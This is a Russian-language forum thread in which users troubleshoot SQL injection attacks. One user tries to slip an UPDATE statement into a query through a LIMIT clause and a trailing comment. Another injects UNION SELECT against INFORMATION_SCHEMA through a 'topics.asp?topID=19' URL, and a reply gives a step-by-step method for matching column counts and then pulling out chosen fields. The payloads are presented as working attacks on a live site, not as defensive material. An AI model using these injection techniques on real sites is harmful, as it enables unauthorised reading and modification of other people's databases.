Я не владею языком SQL по этому прошу помощи: [SQL-query] LIMIT 1, UNION UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/* ругается на синтакс... Чё тут не так?
SELECT m.[q], m.[w], m.[e], m.[r], m.[t], m.[y],m., m., m.[a], m., m.[d], me.[q], me.[g], me.[f] FROM [db_name] m LEFT JOIN [db_name2] me ON me.[z]=m.[z] LEFT JOIN [db_name3] g ON m.[x]=g.[z] WHERE m.[z] > 0 AND m.[x]='1' AND g.[c] <> 1 ORDER BY m.[q] asc LIMIT 1, UNION UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/*
Я тут покапался и разобрался что UNION мне совсем не нужен... такой запрос спокойно выполняется в phpMyAdmin: SELECT m.[q], m.[w], m.[e], m.[r], m.[t], m.[y],m., m., m.[a], m., m.[d], me.[q], me.[g], me.[f] FROM [db_name] m LEFT JOIN [db_name2] me ON me.[z]=m.[z] LEFT JOIN [db_name3] g ON m.[x]=g.[z] WHERE m.[z] > 0 AND m.[x]='1' AND g.[c] <> 1 ORDER BY m.[q] asc LIMIT 1,30 ; UPDATE [db_name] SET [x] = [y] WHERE [z] = 0/* проблема в том что если этот запрос посылать через пхп, ну всмысле mysql_query("запрос") он все равно ругается на синтаксис в выделенном месте... В чем там ошибка?
mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; UPDATE [db_name] SET [db_name] WHERE [z] = 0/*,30' at line 8
хм а у меня такая проблема: /topics.asp?topID=19 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- вместо ошибки с названием первой таблицы возвращает: All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. Ктонибудь знает как с этим бороться?
SQL (в дамнном случае как я понял MS) говорит о том что в 2-х селектах между UNION разное количество полей достоваемых, а должно быть одинаковое. На число первых тыповлиять не можешь. а вот на число второго SELECT`а можешь. Делаешь: /topics.asp?topID=19 UNION SELECT 1 FROM INFORMATION_SCHEMA.TABLES-- потом /topics.asp?topID=19 UNION SELECT 1,2 FROM INFORMATION_SCHEMA.TABLES-- потом /topics.asp?topID=19 UNION SELECT 1,2,3 FROM INFORMATION_SCHEMA.TABLES-- потом /topics.asp?topID=19 UNION SELECT 1,2,3,4 FROM INFORMATION_SCHEMA.TABLES-- и так далее, пока не получишь результата. Как увидешь цифарки на экране подставляй в запрос вместо них поля, которые хочешь видеть. И все.
Потому что точка с запятой - конец запроса. После этого ничего вставлять нельзя (в MySQL). phpmyadmin, по всей видимости (не проверял) разделяет введённое по точке с запятой на 2 запроса и выполняет их по очереди. Насчёт union UNION - это обьединение не запросов, а вывода. Т.е. можно два SELECT обьединить. (при соблюдении других условий - см. учебники по синтаксису запросов). А SELECT и UPDATE - нет. Если я где не прав - поправьте меня